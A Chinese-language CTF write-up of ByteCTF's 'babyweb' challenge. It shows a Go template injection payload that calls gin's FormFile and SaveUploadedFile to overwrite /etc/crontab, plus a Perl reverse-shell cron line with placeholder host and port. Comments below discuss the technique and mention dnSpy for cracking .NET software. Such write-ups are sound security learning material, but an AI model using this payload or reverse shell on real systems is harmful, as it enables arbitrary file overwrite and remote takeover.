本次字节CTF可能因为疫情原因全部改成线上了,正值期末原本打算直接开摆摸鱼,不过星期天下午学弟发消息求救golang的ssti,想着之前特地研究过一段时间go的安全问题,TCTF还出了一道go的ssti,最后摸鱼做了一条,没想到机缘巧合下最后还成了胜负手,小伙伴们tql~
babyweb
题目没什么其他东西,给了Dockerfile,学弟已经找到了注入的位置是注册的用户名,输入 {{7*7}}
在log的地方会报错,输入 {{.}}
会打印一堆东西
这个我可太熟悉了,一看就是 gin.Context
打印出来的东西,估摸着后端是直接把c传进template中,然后用户名是可控字段,最后渲染返回,观察了下有个很明显的session,或许可以搞出cookie secret(虽然不知道有什么用)。
gin中 c.Keys["github.com/gin-contrib/sessions"].(*sessions.session)
储存的就是session对象了,因为类型没有导出,go template也没有原生手段解引用,我们只能通过 {{range .Keys}}{{.}}{{end}}
的方式拿到其中的内容,对象原型是:
type session struct {
name string
request *http.Request
store Store
session *sessions.Session
written bool
writer http.ResponseWriter
}
其中store存储了cookie secret,非常可惜的是这个结构体的内容都是unexported的,没有办法访问其中的内容。
可以观察下面三种方式输出的结果
{{range .Keys}}{{.}}{{end}}
{{range .Keys}}{{printf "%+v" .}}{{end}}
{{range .Keys}}{{printf "%#q" .}}{{end}}
template的奇技淫巧
到这里似乎陷入死胡同了,我只好放弃学弟之前cookie的猜测另找一条路,因为之前研究过template的一些有意思的点,知道可以通过模板调用函数,但是这有个限制,目前go只允许调用1个返回值,或者2个返回值并且第二个返回值为error类型的函数,于是我把目光转向了gin.Context中的函数,找了找发现了两个有意思的东西:
func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
第一个可以获取指定名称的上传文件,而第二个可以保存上传的文件到特定目录,这两个函数都在符合template的调用格式,而结合在一起我们便可以覆盖任意文件上传了。再回过头看题目给出的不知所云的Dockerfile,里面安装了cron,一切都清楚了。只要上传一个crontab任务,就可以RCE了。
具体做法是通过注册用户名为 {{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}
的用户,然后在模板渲染处就能上传文件覆盖"/etc/crontab",网上抄一个exp
* * * * * root perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
理论上就能打到shell了!然而比赛的时候发现怎么也打不回来,一开始以为没网,可是在static可写目录下touch文件的任务也无法触发,而我本地docker中写的却能正常触发,真的是见了鬼了。折腾了半天才发现,crontab格式要求每个任务后需要有一个换行,而我本地docker中偷懒使用的是vim直接写的内容,vim在默认情况下会在文件尾添加一个0A,这就导致了burpsuite发送的exp即使和本地一样也无法执行(因为缺少一个换行)。。。
解决方法也很简单加个回车就行了,也正是由于这个原因在比赛结束前半小时才做出来,同时也守住了第一名hhh
后记
ByteCTF质量不错,相比去年无敌脑洞好了很多,可惜没有线下少了零食大礼包和茶歇区,摸鱼计划大失败(雾)
4 comments
大佬您好!刚刚看到了多年前您发布的关于橙光软件包破解的方法,感觉十分有用 。电脑小白想问您下破译软件是什么呢?
.Net程序,一般用dnSpy就行了
大佬你好!想要请教一下您博客里“因为类型没有导出,go template也没有原生手段解引用,我们只能通过 {{range .Keys}}{{.}}{{end}} 的方式拿到其中的内容”这句话的具体含义是什么呢?是在说session没有定义在context.go中的意思吗?这导致%v无法进行解析?
另外就是,我在打这道题的时候发送的{{printf "%v" .}}、{{printf "%+v" .}}、{{range .Keys}}{{printf "%+v" .}}{{end}}等使用%v输出的时候,在输出的最后都会有一个“v(MISSING)",只有直接输出比如{{.}}或者{{range .Keys}}{{.}}{{end}}时和您的结果一样
还望大佬不吝赐教!感谢!
因为没有导出session,所以不能通过.xxx的方式访问其成员或者解引用(c.Keys["github.com/gin-contrib/sessions"]是指针类型)
%v这个我是本地调的,可能和远程不太一样但是基本原理是一致的。